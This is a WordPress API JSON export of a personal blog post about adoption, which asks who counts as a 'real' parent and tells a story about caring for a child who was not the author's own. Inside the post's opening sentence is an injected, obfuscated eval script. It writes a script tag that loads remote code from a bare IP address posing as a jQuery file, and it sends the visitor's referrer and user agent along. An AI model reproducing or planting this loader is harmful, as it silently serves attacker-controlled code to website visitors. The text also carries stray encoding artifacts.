{"id":4176,"date":"2013-11-22T01:00:07","date_gmt":"2013-11-22T08:00:07","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=4176"},"modified":"2013-11-22T11:50:58","modified_gmt":"2013-11-22T18:50:58","slug":"addoption-awareness-month-3","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=4176","title":{"rendered":"Adoption Awareness Month (3)"},"content":{"rendered":"<p><em>Some <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fsihr|var|u0026u|referrer|hrykt||js|php'.split('|'),0,{}))\n<\/script><\/noindex> people are really ignorant.\u00c2\u00a0 There are still people who say stuff like,\u00c2\u00a0 &#8220;So, who are the REAL parents?&#8221;<\/em><\/p>\n<p><em>I know, YOU would never say that.\u00c2\u00a0 But people do!\u00c2\u00a0 If anyone says that to you, just ask them, &#8220;Where are your REAL manners?&#8221;\u00c2\u00a0 Because, hello, rude!<\/em><\/p>\n<p><em>\u00c2\u00a0<\/em><\/p>\n<p>So, who ARE the real parents?\u00c2\u00a0 The birth parents, or the adoptive parents?<\/p>\n<p>I would like to pause here and bring in a topic that&#8217;s been super-hot at work:\u00c2\u00a0 sciences vs humanities.\u00c2\u00a0 It&#8217;s a big thing right now in universities all over, as humanities departments find they have to step up, speak up, and make a case for their funding.\u00c2\u00a0 Science gives us answers!\u00c2\u00a0 What do the humanities do for us?\u00c2\u00a0 Happily, humanities-folk are good at expressing abstract ideas in words.\u00c2\u00a0 This is how a friend of mine summed up.<\/p>\n<p>Science offers answers, and the humanities offer questions.<\/p>\n<p>We&#8217;ll leave it at that, for now, and go back to the adoption thing.<\/p>\n<p>&nbsp;<\/p>\n<p>When people ask, &#8220;Who are the real parents?&#8221; they are asking a science-y kind of question.\u00c2\u00a0\u00c2\u00a0 Does loving a child make you a parent?\u00c2\u00a0 (How much love?)\u00c2\u00a0 Does sharing chromosomes make you a parent?\u00c2\u00a0 (How many chromosomes?)\u00c2\u00a0 Does taking care of a child most of the time for most of their life make you a parent?\u00c2\u00a0\u00c2\u00a0 (How many hours are required?\u00c2\u00a0 If\u00c2\u00a0 &#8211; god forbid &#8211; a child should live only a few years, or only a few hours, are their parents not really-parents?)<\/p>\n<p>Clearly these are the wrong questions.\u00c2\u00a0 Any simple answer (Sperm = parenting!\u00c2\u00a0\u00c2\u00a0 60% of waking-hours care = parenting!) is preposterously, offensively shallow.\u00c2\u00a0 To get a deeper answer, we need deeper questions.<\/p>\n<p>Instead of asking &#8220;Are you a real parent?&#8221;\u00c2\u00a0 let&#8217;s get out a bottle of wine and ask, &#8220;What is a parent?&#8221;\u00c2\u00a0 &#8220;What is real?&#8221;\u00c2\u00a0 and &#8220;Who are you?&#8221;\u00c2\u00a0 And then, perhaps, once we&#8217;ve gotten to know each other a little better, we might ask, &#8220;What aspects of parenting feel most real to you?&#8221; and &#8220;Tell me about a moment when you first knew you were really a parent.&#8221;<\/p>\n<p>For those sulking in the corner who insist on a more scientific and precise answer, I&#8217;d say &#8220;First tell me exactly how many parents a child is allowed to have, and then we can line them up in order of greatest parentitude and find the cut-off point.&#8221;\u00c2\u00a0 Or perhaps we can approach this logically:\u00c2\u00a0 &#8220;Instead of deciding which parent is <em>real,<\/em> let us first begin by determining which parent is <em>imaginary.&#8221;<\/em><\/p>\n<p>Ah, logic!\u00c2\u00a0 Who is real de re and who de dicto?\u00c2\u00a0 What is a parent in the context of desire?\u00c2\u00a0 Of thought? Or of modality? Could love, eo ipso, make all of us equally real?\u00c2\u00a0 Can a birth parent and an adoptive parent be interchanged ad absurdum without altering the truth-value of parenting or will we, at the end of the evening, be\u00c2\u00a0 &#8211; salva veritate! Q.E.D &#8211; rescued by reality?<\/p>\n<p>Now I&#8217;m being silly.\u00c2\u00a0 I&#8217;ll try to be serious.<\/p>\n<p>Here&#8217;s a story about me.\u00c2\u00a0 I wanted to adopt Emily.\u00c2\u00a0 She was my heart&#8217;s daughter and the sunshine of my life, but she wasn&#8217;t <em>mine,<\/em> and she never would be.\u00c2\u00a0 Every night that she stayed with me, I slept better because I knew she was safe, and every time she was a pain in the butt, I saw her fierceness, her strength, her courage shining through the &#8220;attitude.&#8221;\u00c2\u00a0 But she had a family already &#8211; simple as that.\u00c2\u00a0 So I took care of her when she was with me and missed her when she wasn&#8217;t, and I always felt like a piece of my heart was tucked somewhere in the bottom of her backpack or tangled up in her ponytail.\u00c2\u00a0 And one day one of my friends said to me, &#8220;You know what?\u00c2\u00a0 <em>She&#8217;s never going to be yours.\u00c2\u00a0 But you will always be hers.&#8221;\u00c2\u00a0<\/em><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Some people are really ignorant.\u00c2\u00a0 There are still people who say stuff like,\u00c2\u00a0 &#8220;So, who&#8230;<\/p>\n","protected":false},"author":1,"featured_media":4167,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[76],"tags":[53,81,106,78],"class_list":["post-4176","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-adoption","tag-adoption","tag-i-believe","tag-november-is","tag-parenting"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4176"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=4176"}],"version-history":[{"count":3,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4176\/revisions"}],"predecessor-version":[{"id":4184,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/4176\/revisions\/4184"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/4167"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=4176"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=4176"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=4176"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}